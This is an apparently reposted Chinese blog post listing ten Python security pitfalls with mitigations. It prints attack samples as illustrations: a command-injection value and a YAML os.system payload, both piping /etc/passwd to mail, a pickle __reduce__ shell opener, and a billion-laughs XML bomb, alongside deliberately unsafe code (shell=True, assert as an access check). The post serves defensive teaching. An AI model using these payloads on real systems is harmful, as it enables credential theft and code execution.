文章最后有免费的Python资料，获取方式，关注头条号，私信回复资料获取下载链接。资料目录在文章底部，欢迎评论转发收藏下载。

编写安全的代码很难。学一门语言、一个模块或一个框架时，你学到的是它应该怎么用。而在安全方面，你需要考虑它们能怎样被滥用。Python 也不例外，即使标准库的文档里已经清清楚楚地写出了那些错误的用法。即使如此，笔者与许多 Python 开发者交谈时也发现他们根本不知道这些。

以下是笔者多年开发过程中经常遇到的 10 条 Python 应用中的陷阱，排名不分先后，希望为正在学习 Python 的开发者们有所助益。

1.输入注入

输入注入攻击被应用得非常广泛。有许多种注入方式，能够影响到所有语言、框架和环境。

首先是 SQL 注入。如果不使用 ORM，而是直接通过字符串结合变量的方式书写 SQL 查询，就有 SQL 注入的可能性。我看过许多代码试图利用转义符防止 SQL 注入。事实上，转义符做不到。

• 各种复杂的 SQL 注入方式：https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/

命令注入发生在通过 popen、subprocess、os.system 调用进程，并传递变量作为参数时发生。调用本地命令时，参数变量有可能会被人为设置成恶意值。以下这段代码（https://www.kevinlondon.com/2015/07/26/dangerous-python-functions.html）由用户提供文件名，然后调用子进程：

import subprocess
def transcode_file(request, filename):
 command = 'ffmpeg -i "{source}" output_file.mpg'.format(source=filename)
 subprocess.call(command, shell=True) # a bad idea!

攻击者可以将变量名设置为 "; cat /etc/passwd | mail [email protected] 或者任何类似的危险命令。

应对方式：

如果你使用了 Web 框架，就利用 Web 框架提供的工具对输入进行净化。除非有足够的理由，否则不要手工拼写 SQL 查询。大部分 ORM 都会提供净化的手段。

对于命令行，可以使用 shlex 模块来正确地对输入进行转义（https://docs.python.org/3/library/shlex.html#shlex.quote）。

2.分析XML

如果应用程序要加载并解析 XML 文件，那么你用的 XML 标准库模块有可能会受到攻击。有几种通过 XML 进行攻击的常见手段。大多数都是 DoS 攻击（拒绝服务攻击，目的是让系统瘫痪，而不是窃取数据）。这些攻击很常用，在需要解析外部 XML 文件（即不被信任的 XML 文件）时尤甚。

一种攻击叫做“billion laughs”攻击，该方法由于其内容通常包含大量“lol”（十亿个）而得名。其原理是 XML 可以引用实体，因此当 XML 解析器加载该文件时，它会占用几个 G 的内存。不信的话试试看。

<?xml version="1.0"?>
<!DOCTYPE lolz [
 <!ENTITY lol "lol">
 <!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
 <!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
 <!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
 <!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
 <!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
 <!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
 <!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
 <!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

另一种攻击方法叫做外部实体扩展。XML 支持从外部 UR L引用实体，因此 XML 解析器通常会不加怀疑地读取并加载外部资源。“由于这些请求都来自内部可信赖的 IP 地址，不是外部地址，因此攻击者可以用这个方法绕过防火墙，访问到本来无法访问的资源。”

另一种需要考虑的情况就是你在解析 XML（如配置文件、远程 API）的时候依赖的第三方软件包。你甚至都没办法知道哪个依赖会受到这种攻击。

那么 Python 如何？实际上标准库的模块 etree、DOM、xmlrpc 都广泛受到这种攻击的影响。这里有详细的文档：https://docs.python.org/3/library/xml.html#xml-vulnerabilities

应对方法：

使用 defusedxml（https://pypi.org/project/defusedxml/）替换标准库模块。这个模块能防止这类攻击。

3.断言语句

不要用断言语句阻断用户不应该访问的代码。比如这个简单的例子：

def foo(request, user):
 assert user.is_admin, “user does not have access”
 # secure code...

默认情况下 Python 执行时 __debug__ 为真，但在生产环境中通常会做一些优化，这样所有断言语句都不会被运行，从而无论用户不是不是管理员都能访问到后面的代码。

应对方法：

断言语句只用来给开发者提供信息，例如在单元测试中使用，或者用来防止错误的 API 用法。

4.计时攻击

计时攻击的基本原理是通过测量代码的执行时间，来判断代码的行为和算法。计时攻击需要精确的时间测量，所以通常不会在高延迟的远程网络上实施。由于绝大多数 Web 应用的延迟变化很大，因此在 HTTP Web 服务器上实施计时攻击几乎不可能。

但是，如果有个提示输入密码的命令行应用，那么攻击者就可以写个简单的脚本，测量它比较给定值与实际密码所花费的时间。例子在此（http://jyx.github.io/blog/2014/02/02/timing-attack-proof-of-concept/）。

有一些用 Python 写的非常好的例子，比如这个基于 SSH 的计时攻击（https://github.com/c0r3dump3d/osueta）。可以去看看它们是如何工作的。

应对方法：

使用 Python 3.5 新加入的 secrets.compare_digest 来比较密码和其他私密值。

5.被污染的 site-packages 或 import 路径

Python 的 import 系统非常灵活。这在编写测试程序或需要重载核心功能时很方便。

但是，它是 Python 最大的安全漏洞之一。

在 site-packages 里安装第三方软件包，不论是在虚拟环境中还是在全局的 site-packages（全局方式强烈不建议）中安装，都会暴露出那些软件包中的安全漏洞。

曾经发生过把执行任意代码的包用与流行软件包相似的名字发布到 PyPi 上的事情（http://www.nbu.gov.sk/skcsirt-sa-20170909-pypi/）。最大的事故到现在依然没有被真正解决，尽管它只是为了提醒人们而没有造成任何危害……

另一种能想到的情况就是依赖的依赖（以及进一步的依赖等）。这有可能会引入脆弱性，还有可能通过 import 系统重载 Python 的核心功能。

应对方法：

对软件包进行审查。看看 PyUp.io 和他们的安全服务（http://pyup.io/）。所有应用都使用虚拟环境，全局 site-packages 越干净越好。检查包的签名。

6.临时文件

在 Python 中创建临时文件通常都要用 mktemp() 生成文件名，然后利用该文件名创建文件。“这种方式并不安全，因为另一个进程可能会在你调用 mktemp() 和后面创建文件的调用之间创建一个文件。”（https://docs.python.org/3/library/tempfile.html#deprecated-functions-and-variables）这意味着这种方法可以诱导你的应用程序加载错误的数据，或泄露临时文件的数据。

最新版本的 Python 中，如果调用了错误的方法，就会引发运行时警告。

应对方法：

需要创建临时文件时，使用 tempfile 模块和 mkstemp 函数（https://docs.python.org/3/library/tempfile.html#tempfile.mkstemp）。

7.使用 yaml.load

引用 PyYAML 文档中的警告：

警告：对任意不可信的来源中的数据调用 yaml.load 是不安全的！yaml.load 和 pickle.load 同样强大，可能会调用任何 Python 函数。

流行的 Python 项目 Ansible 中有这样一个漂亮的例子（https://www.talosintelligence.com/reports/TALOS-2017-0305）。给 Ansible Vault 提供下面这段（合法的）YAML。它就会利用文件中提供的参数调用 os.system() 。

!!python/object/apply:os.system ["cat /etc/passwd | mail [email protected]"]

因此，加载用户提供的 YAML 文件就会受到这种攻击。

应对方法：

除非有足够的理由，否则永远使用 yaml.safe_load。

8.Pickles

反序列化 pickle 的数据和 YAML 一样脆弱。Python 类可以定义魔术方法 __reduce__，该方法可以返回字符串，也可以返回一个元组，其中包含可调用的对象和参数，在 pickle 的时候就会被调用。攻击者可以用这种方式调用某个子进程模块，从而在系统上执行任意命令。

这个例子（https://blog.nelhage.com/2011/03/exploiting-pickle/）演示了怎样在 Python 2 上通过 pickle 一个类来打开 shell。这里（https://lincolnloop.com/blog/playing-pickle-security/）还有更多关于如何攻击 pickle 的例子。

import cPickle
import subprocess
import base64
class RunBinSh(object):
 def __reduce__(self):
 return (subprocess.Popen, (('/bin/sh',),))
print base64.b64encode(cPickle.dumps(RunBinSh()))

应对方法：

决不要从任何不可信或未认证的数据源 unpickle 数据。使用其他序列化方法，如 JSON。

9.使用系统的 Python 运行时，未打补丁

大多数 POSIX 系统都自带 Python 2，版本一般都很老。

由于 Python（即 CPython）是用 C 写的，有时 Python 解释器本身也有漏洞。通常与 C 语言有关的漏洞都在内存分配方面，即缓冲区溢出漏洞。

多年来 CPython 有许多溢出漏洞，这些漏洞都被后续的发布修复了。

所以，只要你及时打补丁，你就是安全的。

这里有个 Python 2.7.13 的例子（https://www.cvedetails.com/cve/CVE-2017-1000158/），整数溢出允许执行任意代码。Ubuntu 17 之前的操作系统用的都是这个版本（如果没打补丁的话）。

应对方法：

在产品环境中使用最新版的 Python，并记得打补丁！

10.不给依赖补丁

与给运行时打补丁类似，依赖也要定期打补丁。

我认为从 PyP 上安装“固定”版本号的 Python 包是个很差劲的想法。这种想法其实就是“这些版本能正常工作”，因此大家都不再管它们。

我上面提到的这些脆弱性，如果出现在应用程序用到的软件包中，那么也非常危险。而那些软件包的开发者们也在不断地修复这些安全漏洞。

应对方法：

用 PyUp.io 之类的服务检查更新，把新的补丁合并到你的应用程序中，运行测试保证软件包都是最新的。

用 InSpec 等工具验证产品环境中安装的版本，确保打了正确的补丁。

• 参考：https://access.redhat.com/blogs/766093/posts/2592591

下边有Python的基础学习资料，可以免费领取。